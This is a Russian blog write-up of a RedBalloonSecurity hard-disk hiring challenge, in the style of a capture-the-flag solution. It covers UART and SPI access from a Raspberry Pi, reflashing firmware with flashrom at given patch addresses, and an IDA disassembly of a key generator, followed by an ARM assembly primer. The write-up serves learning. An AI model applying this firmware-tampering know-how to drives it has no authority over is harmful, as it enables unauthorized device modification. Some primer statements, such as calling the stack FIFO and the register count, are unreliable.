root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_1_makesureitsnotcorrupted.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_1_makesureitsnotcorrupted.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 SUCCESSFUL

Диск прекратил свое вращение, и буквально через 10 секунд включился снова. Выждав минуту, я его обесточил, и подал питание снова. При подключении ядро перестало опознавать диск! В логах я видел лишь записи по поводу USB-to-SATA переходника, но ни блочного, ни SCSI устройства не было. Я был полностью отрезан от устройства.

LEVEL1

Для выхода из сложившейся ситуации существовал лишь 1 вариант - разобратся с тем, что это за 4 pina, фотка которых есть в подсказках. Подобное нагуглить легко. И вуаля, GND, TX, RX.

На неттопе не оказалось UART интерфейса (нафиг там не нужен). Но, ситуация сложилась так, что у меня под рукой была Raspberry Pi 3b+. Поискав описание GPIO пинов, я все таки нашел на нем порты для UART.

Итого, нам необходимо сконтачить:
RPI TX (pin #10) -> HDD RX RPI RX (pin #08) -> HDD TX RPI GND (pin #06) -> HDD GND

Подключение к серийнику диска

Я использовал обыкновенные Female-Female провода. То, что нужно было воткнуть в диск я успешно заизолировал скотчем. Последний не изолировал поскольку в этом не было необходимости, да и находился он уж слишком близко к порту SATA data, и когда я подключал питание к диску, всетаки приходилось немного его ужимать.

Стоит упомянуть, что UART интерфейс должен быть включен, но возможность логинится через него должна быть отключена. Иначе, в консольник диска посыпятся данные от Login Prompt Raspbian. Для отключения, делаем следующее:
1. Запускаем raspi-config 2. Выбираем Interface Options 3. Выбираем Serial Port 4. Отвечаем "нет" на Would you like a login shell to be accessible over serial? 5. Отвечаем "да" на Would you like the serial port hardware to be enabled? 6. Перезагружаем Raspberry Pi

Далее, нам понадобится minicom для работы с Serial портом. Методом подбора, мне удалось выяснить скорость, парность и прочие параметры для серийника (хотя, их можно было и найти в интернете). Подключаемся к Serial порту:

root@rpi ~ # minicom -b 38400 -D /dev/ttyS0

И здесь я увидел тонны сообщений о том, что мне необходимо что-то пропатчить.

Welcome to minicom 2.7.1OPTIONS: I18n Compiled on Aug 13 2017, 15:25:34.Port /dev/ttyS0, 21:05:41Press CTRL-A Z for help on special keysRBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!RBS Challenge! Human, patch me you must!CTRL-A Z for help | 38400 8N1 | NOR | Minicom 2.7.1 | VT102 | Offline | ttyS0

Здесь ко мне дошло, что решение этой задачи очевидно хардварное. В подсказках была последняя страничка, на которой было видно 5 контактов. Сняв плату с диска я посмотрел на эти контакты и обратил внимание на то, куда они ведут. Все они шли на Winbond W25X40BLS02. Найдя datasheet по этому чипу, у меня получилось определить какая ножка чипа за что отвечает.

Решение для задачи нашлось супер быстро. Прогнав strings по level_1_makesureitsnotcorrupted.lod, я нашел информацию что и как патчить. ASCII единорога заценил.

        O$HQ9H)\%6QM[h+r4m:4i,XJCPRS        \.                                                              \\      .                                                       \\ _,.+;)_                                                     .\\;~%:88%%.                                                  (( a   `)9,8;%.                                                /`   _) ' `9%%%?                                              (' .-' j    '8%%'                                               `"+   |    .88%)+._____..,,_   ,+%$%.                                :.   d%9`             `-%*'"'~%$.                           ___(   (%C                 `.   68%%9                        ."        \7                  ;  C8%%)`                        : ."-.__,'.____________..,`   L.  \86' ,                       : L    : :            `  .'\.   '.  %$9%)                      ;  -.  : |             \  \  "-._ `. `~"                        `. !  : |              )  >     ". ?                             `'  : |            .' .'       : |                                 ; !          .' .'         : |                                ,' ;         ' .'           ; (                               .  (         j  (            `  \                              """'          ""'             `"" mh  Congratulations! To solve this challenge patch those values: Address: 0x00c, data:0b1b Address: 0xbce, data:002149f249f800219fa049f245f89e48         @<H|XY?W??kFK?B?>y1Ykb!=l.y^ZV:VKwF

Тем временем, я нашел уйму информации о том как эти чипы считывать и записывать. К моему счастью, на Raspberry Pi нашелся SPI интерфейс для работы с flash чипами. К сожалению, под рукой не имелось Male-Female проводов, но имея Male-Male и Female-Female можно смело добится желаемого. На фото с бумажкой под Raspberry Pi, слева вверху видно плюс минус схематическое расположение контактов flash чипа, а также их цвета дабы не запутаться. Единственным моментом, который меня оочень смущал, был размер отверствий. Я подобное никогда не припаивал, и, дабы не сломать ничего, мне пришлось обрезать 1 конец Male-Male провода, отогнуть 4 из 8 жил (больше в отверствие банально не пролезет), и отогнуть их немного с другого конца. Таким образом мы получили невероятно нестабильное соединение с платой. Но и вероятность что-то сломать в таком случае крайне мала. Как видите, GND шнур не подсоединен никуда. Это из-за того, что плата мне не знакома, и я не стал рисковать контачить его туда, где я думаю есть заземление. Этот контакт я подсоединил пальцами напрямую к Winbond чипу - этого хватит на время считывания и заливки прошивки.

Прошивка чипа

Сам по себе процесс прошивки делается через flashrom c указанием девайса SPI, скорости, и файлов куда\от-куда. Из-за нестабильного соединения, Raspberry Pi иногда не видела чип. А даже когда и видела, мне приходилось считывать дважды дабы не было ошибок. Проверка контрольной суммы в таком случае обязательна!

Flashrom прошивка

Детально описывать процесс изменения прошивки не буду. Скажу лишь, что нам надо открыть файл прошивки (ff или ff2 :D) hex-редактором, изменить там несколько байт в соответствии с решением из level_1_makesureitsnotcorrupted.lod, и залить обратно с помощью того же flashrom.

После проделанных изменений, я прикрутил плату обратно к диску, подключил его, и меня ждал открытый раздел LEVEL2.

Друзья, если вам интересен подобный материал, ставьте плюсики. Весь процесс, так или иначе, в один пост не поместится.

Подробнее..

Категории: Информационная безопасность , Ctf , Хранение данных , Реверс-инжиниринг , Assembler , Работа , Шифр , Red balloon security , Соискатель

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 1

29.03.2021 00:13:50 |

Автор: admin

А что дальше?

Хабровчане и хабровчушки, эта статья является долгожданным (ага, в пару дней) продолжением моей предыдущей статьи о взломе жесткого диска для собеседования в инфосек компанию RedBalloonSecurity. Любителей поковырять железяки я спешу разочаровать, поскольку все дальнейшие манипуляции с диском будут проводится только на уровне ассемблерного кода и логики. Поэтому, приготовьте чай/кофе или чего покрепче, ведь мы снова лезем в embeded дебри и опять пускаемся в неизвестность.

LEVEL2

Моему счастью не было предела когда я залил пропатченую прошивку на Winbond Flash чип и ядро моего Debian-неттопа распознало еще 1 раздел диска. Здесь будет немного больше информации, чем в предыдущем разделе. Ведь повышая уровень, сложность нашей с вами задачи только увеличивается.

Содержимое раздела:

tkchk@ubuntu:/media/user/LEVEL2$ file *0001-keystone-armv5.patch: unified diff output, ASCII textlevel_2.html:              HTML document, ASCII text, with very long lineslevel2_instructions.txt:   ASCII textlevel_2.lod:               datalevel_3.lod.7z.encrypted:  7-zip archive data, version 0.3

level_2.lod - это новый файл прошивки для диска. Прошиваемся так же, как и в предыдущей статье. Здесь ничего нового.
level_3.lod.7z.encrypted - это файл прошивки для следующего уровня. Судя по его разрешению, файл находится в запароленном 7z архиве. Нам нужно решить текущий уровень чтоб достать пароль от слудующего.
level2_instructions.txt - это, собственно, инструкции что и как делать. Подсказки тоже имеются.
0001-leystone-armv5.patch - это патч для Keystone Assembler. Keystone это компилятор и набор С-шных библиотек для перевода ассемблерного кода в опкоды для процессора. Об этом чуть позже.
level_2.html - изюминка текущего уровня. Выглядит точ-в-точ как текст, который генерирует IDA Pro при загрузке бинарника.

Для тех, кто не в курсе, IDA Pro это программа для дизассемблирования. Дело в том, что когда мы пишем код на высокоуровневых языках (C, Python и тд) и подвергаем его компиляции, мы переводим наш +- human-readable текст в язык машинного кода. Тоесть, мы опускаем более понятную человеку логику в логику, которая больше понятна машине. Машина не понимает что такое функция, ведь функция, это скорее абстракция в голове у программиста. Процесс дизассемблирования позволяет сделать наоборот - поднять логику из машинного на человекопонятный уровень. Некоторые дизассемблеры позволяют поднять логику даже на C-шный уровень, хоть и не всегда делают это корректно (на самом деле очень даже корректно, но читать такой код порой бывает сложнее чем ассемблер). Если работаем с чем-то мелким, и надо кабанчиком понять что там происходит - этого хватит, но для более высокоточных вещей нужен уровень ассемблера. Это мы и получили в виде level_2.html файла.

tkchk@ubuntu:/media/user/LEVEL2$ cat level2_instructions.txt Congratulations... you have made it to the other sideBack when I was an intern, I designed this key generation function. My boss hated it.I hate my boss.1. Invoke the function with command R<User_Input>2. Find the key you must!!!!!level2.html provides disassembly of a memory snapshot of the key generator function.To help... guide... you in this adventure, you'll find a patchfile for the keystoneassembler to force the correct architecture.Also, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASCII

0001-keystone-armv5.patch

tkchk@ubuntu-mac:/media/tkchk/LEVEL2$ cat 0001-keystone-armv5.patch From 5532e7ccbc6c794545530eb725bed548cbc1ac3e Mon Sep 17 00:00:00 2001From: mysteriousmysteries <mysteriousmysteries@redballoonsecurity.com>Date: Wed, 15 Feb 2017 09:23:31 -0800Subject: [PATCH] armv5 support--- llvm/keystone/ks.cpp | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)diff --git a/llvm/keystone/ks.cpp b/llvm/keystone/ks.cppindex d1819f0..8c66f19 100644--- a/llvm/keystone/ks.cpp+++ b/llvm/keystone/ks.cpp@@ -250,7 +250,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)      if (arch < KS_ARCH_MAX) {         ks = new (std::nothrow) ks_struct(arch, mode, KS_ERR_OK, KS_OPT_SYNTAX_INTEL);-        +         if (!ks) {             // memory insufficient             return KS_ERR_NOMEM;@@ -294,7 +294,7 @@ ks_err ks_open(ks_arch arch, int mode, ks_engine **result)                         TripleName = "armv7";                         break;                     case KS_MODE_LITTLE_ENDIAN | KS_MODE_THUMB:-                        TripleName = "thumbv7";+                        TripleName = "armv5te";                         break;                 } @@ -566,7 +566,7 @@ int ks_asm(ks_engine *ks,     Streamer = ks->TheTarget->createMCObjectStreamer(             Triple(ks->TripleName), Ctx, *ks->MAB, OS, CE, *ks->STI, ks->MCOptions.MCRelaxAll,             /*DWARFMustBeAtTheEnd*/ false);-            +     if (!Streamer) {         // memory insufficient         delete CE;@@ -594,7 +594,7 @@ int ks_asm(ks_engine *ks,         return KS_ERR_NOMEM;     }     MCTargetAsmParser *TAP = ks->TheTarget->createMCAsmParser(*ks->STI, *Parser, *ks->MCII, ks->MCOptions);-    if (!TAP) { +    if (!TAP) {         // memory insufficient         delete Parser;         delete Streamer;-- 1.9.1

level_2.html

ROM:00332D00ROM:00332D00 ; Segment type: Pure codeROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=0ROM:00332D00                 ; ORG 0x332D00ROM:00332D00                 CODE16ROM:00332D00ROM:00332D00 ; =============== S U B R O U T I N E =======================================ROM:00332D00ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.ROM:00332D00 ; The next level to reach, the key parts to print you must!ROM:00332D00ROM:00332D00 generate_keyROM:00332D00ROM:00332D00 var_28          = -0x28ROM:00332D00ROM:00332D00                 PUSH            {R4-R7,LR}ROM:00332D02                 SUB             SP, SP, #0x10ROM:00332D04                 MOVS            R7, R1ROM:00332D06                 MOVS            R4, R2ROM:00332D08                 MOVS            R5, R0ROM:00332D0A                 LDR             R1, =0x6213600 ; "R"...ROM:00332D0C                 LDRB            R0, [R1,#1]ROM:00332D0E                 CMP             R0, #0x31ROM:00332D10                 BNE             loc_332D1AROM:00332D12                 ADDS            R0, R1, #2ROM:00332D14                 BLX             ahex2byteROM:00332D18                 LDR             R1, =0x6213600ROM:00332D1AROM:00332D1A loc_332D1A                              ; CODE XREF: generate_key+10jROM:00332D1A                 MOV             R2, SPROM:00332D1CROM:00332D1C loc_332D1C                              ; CODE XREF: generate_key+28jROM:00332D1C                 LDRB            R6, [R1]ROM:00332D1E                 ADDS            R1, R1, #1ROM:00332D20                 CMP             R6, #0xDROM:00332D22                 BEQ             loc_332D2AROM:00332D24                 STRB            R6, [R2]ROM:00332D26                 ADDS            R2, R2, #1ROM:00332D28                 B               loc_332D1CROM:00332D2A ; ---------------------------------------------------------------------------ROM:00332D2AROM:00332D2A loc_332D2A                              ; CODE XREF: generate_key+22jROM:00332D2A                 SUBS            R5, #0x49ROM:00332D2C                 CMP             R5, #9ROM:00332D2E                 BGT             loc_332DD8ROM:00332D30                 LSLS            R5, R5, #1ROM:00332D32                 ADDS            R5, R5, #6ROM:00332D34                 MOV             R0, PCROM:00332D36                 ADDS            R5, R0, R5ROM:00332D38                 LDRH            R0, [R5]ROM:00332D3A                 ADDS            R0, R0, R5ROM:00332D3C                 BX              R0ROM:00332D3C ; ---------------------------------------------------------------------------ROM:00332D3E                 DCW 0x15ROM:00332D40                 DCW 0xA6ROM:00332D42                 DCW 0xA4ROM:00332D44                 DCW 0xA2ROM:00332D46                 DCW 0xA0ROM:00332D48                 DCW 0x9EROM:00332D4A                 DCW 0x2EROM:00332D4C                 DCW 0x50ROM:00332D4E                 DCW 0x98ROM:00332D50                 DCW 0xCROM:00332D52 ; ---------------------------------------------------------------------------ROM:00332D52ROM:00332D52 key_part1ROM:00332D52                 LDR             R0, [R4]ROM:00332D54                 MOVS            R6, #1ROM:00332D56                 STR             R6, [R7]ROM:00332D58                 BLX             loc_332DECROM:00332D5C                 CODE32ROM:00332D5CROM:00332D5C key_part2ROM:00332D5C                 LDR             R6, [R7]ROM:00332D60                 CMP             R6, #1ROM:00332D64                 LDREQ           R1, [R4,#4]ROM:00332D68                 EOREQ           R1, R1, R0ROM:00332D6C                 MOVEQ           R6, #1ROM:00332D70                 STREQ           R6, [R7,#4]ROM:00332D74                 B               loc_332DECROM:00332D78 ; ---------------------------------------------------------------------------ROM:00332D78ROM:00332D78 key_part3ROM:00332D78                 LDR             R6, [R7]ROM:00332D7C                 CMP             R6, #1ROM:00332D80                 LDREQ           R6, [R7,#4]ROM:00332D84                 CMPEQ           R6, #1ROM:00332D88                 LDREQ           R2, [R4,#8]ROM:00332D8C                 EOREQ           R2, R2, R1ROM:00332D90                 MOVEQ           R6, #1ROM:00332D94                 STREQ           R6, [R7,#8]ROM:00332D98                 B               loc_332DECROM:00332D9C ; ---------------------------------------------------------------------------ROM:00332D9CROM:00332D9C key_part4ROM:00332D9C                 LDR             R6, [R7]ROM:00332DA0                 CMP             R6, #1ROM:00332DA4                 LDREQ           R6, [R7,#4]ROM:00332DA8                 CMPEQ           R6, #1ROM:00332DAC                 LDREQ           R6, [R7,#8]ROM:00332DB0                 CMPEQ           R6, #1ROM:00332DB4                 LDREQ           R3, [R4,#0xC]ROM:00332DB8                 EOREQ           R3, R3, R2ROM:00332DBC                 MOVEQ           R6, #1ROM:00332DC0                 STREQ           R6, [R7,#8]ROM:00332DC4                 LDR             R4, =0x35A036 ; "Key Generated: %s%s%s%s"ROM:00332DC8                 BLX             loc_332DDCROM:00332DCC                 MOV             R1, SPROM:00332DD0                 LDR             R4, =0x35A05C ; "SP: %x"ROM:00332DD4                 BLX             loc_332DDCROM:00332DD8                 CODE16ROM:00332DD8ROM:00332DD8 loc_332DD8                              ; CODE XREF: generate_key+2EjROM:00332DD8                 LDR             R4, =0x35A020 ; "key not generated"ROM:00332DDA                 NOPROM:00332DDCROM:00332DDC loc_332DDC                              ; CODE XREF: generate_key+C8pROM:00332DDC                                         ; generate_key+D4pROM:00332DDC                 SUB             SP, SP, #4ROM:00332DDE                 STR             R0, [SP,#0x28+var_28]ROM:00332DE0                 MOVS            R0, R4ROM:00332DE2                 LDR             R4, =0x68B08DROM:00332DE4                 BLX             R4ROM:00332DE6                 ADD             SP, SP, #4ROM:00332DE8                 BLX             loc_332DECROM:00332DE8 ; End of function generate_keyROM:00332DE8ROM:00332DEC                 CODE32ROM:00332DECROM:00332DEC loc_332DEC                              ; CODE XREF: generate_key+58pROM:00332DEC                                         ; generate_key+74j ...ROM:00332DEC                 ADD             SP, SP, #0x20ROM:00332DF0                 LDR             LR, [SP],#4ROM:00332DF4                 BX              LRROM:00332DF8ROM:00332DF8 ; =============== S U B R O U T I N E =======================================ROM:00332DF8ROM:00332DF8ROM:00332DF8 ahex2byte                               ; CODE XREF: generate_key+14pROM:00332DF8                 STMFD           SP!, {R4-R6,LR}ROM:00332DFC                 MOV             R4, R0ROM:00332E00                 MOV             R6, R0ROM:00332E04ROM:00332E04 loc_332E04                              ; CODE XREF: ahex2byte+6CjROM:00332E04                 LDRB            R0, [R4]ROM:00332E08                 CMP             R0, #0xDROM:00332E0C                 BEQ             loc_332E68ROM:00332E10                 BL              sub_332E70ROM:00332E14                 CMN             R0, #1ROM:00332E18                 BNE             loc_332E2CROM:00332E1C                 LDRB            R0, [R4]ROM:00332E20                 BL              sub_332E98ROM:00332E24                 CMN             R0, #1ROM:00332E28                 BEQ             locret_332E6CROM:00332E2CROM:00332E2C loc_332E2C                              ; CODE XREF: ahex2byte+20jROM:00332E2C                 MOV             R5, R0ROM:00332E30                 LDRB            R0, [R4,#1]ROM:00332E34                 BL              sub_332E70ROM:00332E38                 CMN             R0, #1ROM:00332E3C                 BNE             loc_332E50ROM:00332E40                 LDRB            R0, [R4,#1]ROM:00332E44                 BL              sub_332E98ROM:00332E48                 CMN             R0, #1ROM:00332E4C                 BEQ             locret_332E6CROM:00332E50ROM:00332E50 loc_332E50                              ; CODE XREF: ahex2byte+44jROM:00332E50                 MOV             R5, R5,LSL#4ROM:00332E54                 ADD             R0, R5, R0ROM:00332E58                 STRB            R0, [R6]ROM:00332E5C                 ADD             R4, R4, #2ROM:00332E60                 ADD             R6, R6, #1ROM:00332E64                 B               loc_332E04ROM:00332E68 ; ---------------------------------------------------------------------------ROM:00332E68ROM:00332E68 loc_332E68                              ; CODE XREF: ahex2byte+14jROM:00332E68                 STRB            R0, [R6]ROM:00332E6CROM:00332E6C locret_332E6C                           ; CODE XREF: ahex2byte+30jROM:00332E6C                                         ; ahex2byte+54jROM:00332E6C                 LDMFD           SP!, {R4-R6,PC}ROM:00332E6C ; End of function ahex2byteROM:00332E6CROM:00332E70ROM:00332E70 ; =============== S U B R O U T I N E =======================================ROM:00332E70ROM:00332E70ROM:00332E70 sub_332E70                              ; CODE XREF: ahex2byte+18pROM:00332E70                                         ; ahex2byte+3CpROM:00332E70                 CMP             R0, #0xDROM:00332E74                 BEQ             loc_332E90ROM:00332E78                 CMP             R0, #0x30ROM:00332E7C                 BLT             loc_332E90ROM:00332E80                 CMP             R0, #0x39ROM:00332E84                 BGT             loc_332E90ROM:00332E88                 SUB             R0, R0, #0x30ROM:00332E8C                 B               locret_332E94ROM:00332E90 ; ---------------------------------------------------------------------------ROM:00332E90ROM:00332E90 loc_332E90                              ; CODE XREF: sub_332E70+4jROM:00332E90                                         ; sub_332E70+Cj ...ROM:00332E90                 MVN             R0, #0ROM:00332E94ROM:00332E94 locret_332E94                           ; CODE XREF: sub_332E70+1CjROM:00332E94                 BX              LRROM:00332E94 ; End of function sub_332E70ROM:00332E94ROM:00332E98ROM:00332E98 ; =============== S U B R O U T I N E =======================================ROM:00332E98ROM:00332E98ROM:00332E98 sub_332E98                              ; CODE XREF: ahex2byte+28pROM:00332E98                                         ; ahex2byte+4CpROM:00332E98                 CMP             R0, #0x41ROM:00332E9C                 BLT             loc_332EB4ROM:00332EA0                 CMP             R0, #0x46ROM:00332EA4                 BGT             loc_332EB4ROM:00332EA8                 SUB             R0, R0, #0x41ROM:00332EAC                 ADD             R0, R0, #0xAROM:00332EB0                 B               locret_332EB8ROM:00332EB4 ; ---------------------------------------------------------------------------ROM:00332EB4ROM:00332EB4 loc_332EB4                              ; CODE XREF: sub_332E98+4jROM:00332EB4                                         ; sub_332E98+CjROM:00332EB4                 MVN             R0, #0ROM:00332EB8ROM:00332EB8 locret_332EB8                           ; CODE XREF: sub_332E98+18jROM:00332EB8                 BX              LRROM:00332EB8 ; End of function sub_332E98ROM:00332EB8ROM:00332EB8 ; ---------------------------------------------------------------------------ROM:00332EBC dword_332EBC    DCD 0x6213600           ; DATA XREF: generate_key+ArROM:00332EC0 dword_332EC0    DCD 0x6213600           ; DATA XREF: generate_key+18rROM:00332EC4 dword_332EC4    DCD 0x35A036            ; DATA XREF: generate_key+C4rROM:00332EC8 dword_332EC8    DCD 0x35A05C            ; DATA XREF: generate_key+D0rROM:00332ECC dword_332ECC    DCD 0x35A020            ; DATA XREF: generate_key:loc_332DD8rROM:00332ED0 off_332ED0      DCD 0x68B08D            ; DATA XREF: generate_key+E2rROM:00332ED4                 DCB 0, 0, 0, 0ROM:00332ED4 ; ROM           endsROM:00332ED4ROM:00332ED4                 END

Серьезно? ASM?

Дабы сделать эту статью более понятной широкому кругу лиц, наверное стоит дать понять что же это за дамп из IDA Pro. Опишем все до мелочей :)

В этом code-box приведены первые 20 строк из level_2.html файла:

01. ROM:00332D0002. ROM:00332D00 ; Segment type: Pure code03. ROM:00332D00                 AREA ROM, CODE, READWRITE, ALIGN=004. ROM:00332D00                 ; ORG 0x332D0005. ROM:00332D00                 CODE1606. ROM:00332D0007. ROM:00332D00 ; =============== S U B R O U T I N E =======================================08. ROM:00332D0009. ROM:00332D00 ; prototype: generate_key(key_part_num, integrity_validate_table, key_table)10. ROM:00332D00 ; Function called when serial console input is 'R'. Generates key parts in R0-R3.11. ROM:00332D00 ; The next level to reach, the key parts to print you must!12. ROM:00332D0013. ROM:00332D00 generate_key14. ROM:00332D0015. ROM:00332D00 var_28          = -0x2816. ROM:00332D0017. ROM:00332D00                 PUSH            {R4-R7,LR}18. ROM:00332D02                 SUB             SP, SP, #0x1019. ROM:00332D04                 MOVS            R7, R120. ROM:00332D06                 MOVS            R4, R2...

Колонка слева с ROM:XXXXXXXX - это адреса памяти. При загрузке бинарника в IDA Pro, мы должны препроверить, правильно ли IDA Pro поняла для какой архитектуры (ARM, x86, MIPS и тд. Их, ну прям очень большое количество) собран наш бинарник (в большинстве случаев, автоопределение работает очень хорошо, но если мы вгружаем не бинарник, а целый дамп памяти - некоторые вещи могут распознатся некорректно), считываем файл байт за байтом, и эта левая колонка автоинкрементируется каждый раз когда IDA Pro понимает что это за кусок данных. Данные в бинарнике могут быть поняты одним из следующих образов:

Данные. Самый низкий уровень понимания логики. Это когда кусок данных не представляет собой ничего конкретного. В дампе отображается как DCD, DCW, DCB - doubleword, word, byte соответственно (эти типы данных могут быть разных размеров на разных системах. Здесь советую погуглить и почитать. Сам это не сильно шарю). На такие штуки обычно есть ссылки из других участков кода. Назначение может быть самое разное. Далее будет понятно.
Код. Это когда кусок данных представляет собой 1 атомарную единицу операции (записать данные из регистра в память, сравнить числа и тд).
Строка. Это когда IDA Pro натыкается на массив данных которые лежат в ASCII диапазоне. От 0x20 до 0x7E (ASCII стандарт также описывает числа ниже 0x20, но они не имеют "текстового" смысла). Вполне возможно, что диапазон расширяется и на другие кодировки, но это вне контекста данной статьи.
Подпроцедура (Subroutine). Это самый высокий уровень понимания ассемблерной логики - когда IDA Pro видит функцию. Дальше мы видим то же самое, как если бы видели код. Но понимание того, что это не просто код, а функция дает невероятный скачок в осознании происходящего.

На 5й строке мы видим надпись CODE16. Это очень важно, поскольку этот дамп снят с кода для ARM процессоров (IC от LSI, который есть на плате от жесткого диска построен именно на этой архитектуре). У ARM процессоров есть 2 режима работы - ARM и Thumb.

В режиме ARM у нас есть доступ, наверное, ко всем ассемблерным операциям, но такие инструкции занимают 4 байта
В режиме Thumb мы немножко ограничены, но такие инструкции занимают 2 байта.

Причины по которым были созданы эти 2 режима мне неизвестны (знатоки в комментариях очень даже приветствуются), но могу сказать следующее.

В режиме ARM мы, скорее всего, будем исполнять желаемую логику быстрее. Как минимум потому что у нас есть доступ к инструкциям типа CMPEQ, которая выполнит операцию сравнения чисел только в том случае, когда результат предыдущго сравнения был успешным. Получается, что в этом режиме мы можем отдать логику if-else на железо. И сделать 2 операции (проверка предыдущего результата и выполнение новой операции) за 1 цикл процессора. Но и размер инструкций будет больше, а значит нужно использовать больше памяти.
В режиме Thumb мы не можем использовать подобное, но размер инструкций будет в 2 раза меньше, а значит затраты памяти будут ниже.
Еще стоит сказать, что архитектура ARM (не путать с режимом) прекрасна тем, что размер инструкций у них фиксирован (2 или 4 байта), чего нельзя сказать об x86

В общем, вот это CODE16 значит что в этом моменте процессор находится в Thumb режиме. И, как мы видим дальше, адреса памяти инкрементируются по 2 (конечно, там, где есть инструкция).

На строках 9-11 мы видим нарошно оставленные комментарии. Они говорят нам, что этот код исполняется тогда, когда мы вводим в серийник диска букву R и что-то после нее. Также, мы видим, что суть задачи - зарулить исполнение код таким образом, чтоб диск отдал нам части ключей. Совмещая эти ключи, мы получаем пароль от level_3.lod.7z.encrypted.

Строка 13 являет собой адрес, на который есть отсылки в коде. Дело в том, что программы на ассемблере не исполняются линейно. Инструкции типа B, BL, BX, BLX переводят исполнение кода по новому адресу. И когда IDA Pro видит такие инструкции, она автоматически дает имя этому адресу. В нашем случае, ребята из RedBalloonSecurity переименовали этот адрес в generate_key. Переименовывать позиции в коде, на который есть ссылки является прекрасным способом оставить для себя заметку о том, что делает определенный кусок кода.

На строке 15 мы видим переменную. Надеюсь, все помнят об области видимости в С? Реализация этого механизма на уровне ассемблера очень хитрая. Здесь используется структура данных типа стек.

мае, вот к чему stack в stackoverflow

У каждого процессора, помимо кэша, есть встроенное хранилище временных данных - регистры. Это самая быстрая память компьютера, как такового. Все операции с регистрами выполняются невероятно быстро. А поэтому, программу нужно строить таким образом чтоб минимизировать обращения к памяти, и почаще использовать регистры.

У ARM процессоров 15 регистров. Для большинства, можно писать код и использовать их как хочешь (хотя внутри компилятора все же есть определенные правила о том, какой регистр для чего использовать). Они имеют имена вида R0, R1 ... R15. Последние имеют специальное назначение:

SP (R13) - Stack Pointer. В этом регистре хранится адрес вершины стека
BP (R7 в Thumb, R11 в ARM) - Base Pointer. Здесь находится адрес начала стека
LR (R14) - Link Register. Если у бренч (B) инструкции есть приставка L, это значит, что адрес в PC нужно записать в LR (там есть определенная специфика, которую я не совсем понимаю. К этому адресу в LR должно добавлятся +2 байта для Thumb, или +4 байта для ARM. Но, это не точно). Потом это используется для возврата на предыдущее место в коде, например через BX LR. По сути, это аналог подхода, когда мы сохраняем адрес возврата на стек, но здесь используем регистр. Из преисуществ - он быстрее и часть програмной логики падает на CPU без хождения по памяти. Недостаток - регистр всего один, и предыдущие адреса возврата все же прийдется складывать на стек.
PC (R15) - Program Counter. Здесь находится адрес инструкции, которую процессор выполняет в данный момент. Писать сюда напрямую, кажись, нельзя. Но этот регистр полезен если мы хотим сделать прыжок на другой адрес. Даже если мы работаем с 16-битной архитектурой, мы, ну никак не можем сказать процессору прыгнуть на 16-битный адрес имея 2 байта на 1 инструкцию. Большинство инструкций для прыжка используют именно сдвиг от того, что находится в PC.
CSPR - Current State Process Register. Это специфический регистр. К нему нельзя обратится целиком, как и записать сюда что-то. Данные внутри этого регистра формируются автоматически на основе того, какие инструкции выполняет процессор. Он разбит на сегменты, и хранит в себе информацию о текущем состоянии процессора. К примеру, если мы делаем инструкцию CMP (сравнить числа), результат сравнения (0 или 1) пишется в один из битов этого регистра. А в дальнейшем это используется для условных операций.

Стек это определенное место в памяти, где хранятся значения локальных переменных, аргументы функций, адреса возвратов, а также предыдущее значение BP. Стек логически разбит на сегменты (stack frames). Каждый сегмент принадлежит какой-то определенной функции. И, когда мы вызываем из одной функции другую, мы по сути, сдвигаем адреса BP & SP чуть ниже(!) в памяти. Но перед тем как создавать новый сегмент на стеке, мы должны знать адрес, куда должен вернутся PC после завершения функции - он сохраняется на стеке (Return Address) перед вызовом функции. Также, чтоб при возврате, сегмент стека стал того же размера что и был, мы сохраняем предыдущее значение BP (Saved %ebp) на этот же стек. Выглядит все это дело примерно так (%ebp = BP, %esp = SP):

В предыдущем абзаце я сказал, что при создании нового сегмента стека, адреса BP & SP смещаются ниже. Дело в том, что "так сложилось исторически". Стек это FIFO конструкция, которая меняется в процессе исполнения программы. И компилятор не знает какого размера он может быть. То же самое касается кучи (heap) - памяти, которую мы запрашиваем у системы через семейство вызовов malloc (glibc). При выделении памяти в куче, ее адреса растут вверх, а вот когда растет стек, его адреса растут вниз. Стоит оговорится, что мы работаем с embeded устройством. Понятия кучи здесь, может и не быть (опять же, прошу экспертов меня поправить).

У ARM процессоров есть специальные семейство инструкций, которые работают со стеком: PUSH, POP, STMFD, LDMFD (уверен, есть еще, но для наших делишек этого хватит).

PUSH кладет то, что в аргументе на стек, и увеличивает стек (на самом деле уменьшает адрес)
POP снимает со стека данные и кладет в то, что в аргументе (зачастую регистр, но может быть и адрес памяти) и уменьшает стек (на самом деле увеличивает адрес)
STMFD, LDMFD делают то же самое, но туда можно запихнуть несколько регистров, и снять со стека несколько значений в рамках одной инструкции. И, кажись, указать, стоит ли подстраивать SP в зависимости от количества впихнутых регистров. Опять же, прелести ARM архитектуры!

Готовы? Ныряем!

Для того, чтоб что-то правильно сломать, нужно это правильно понять. Начнем с первого куска.

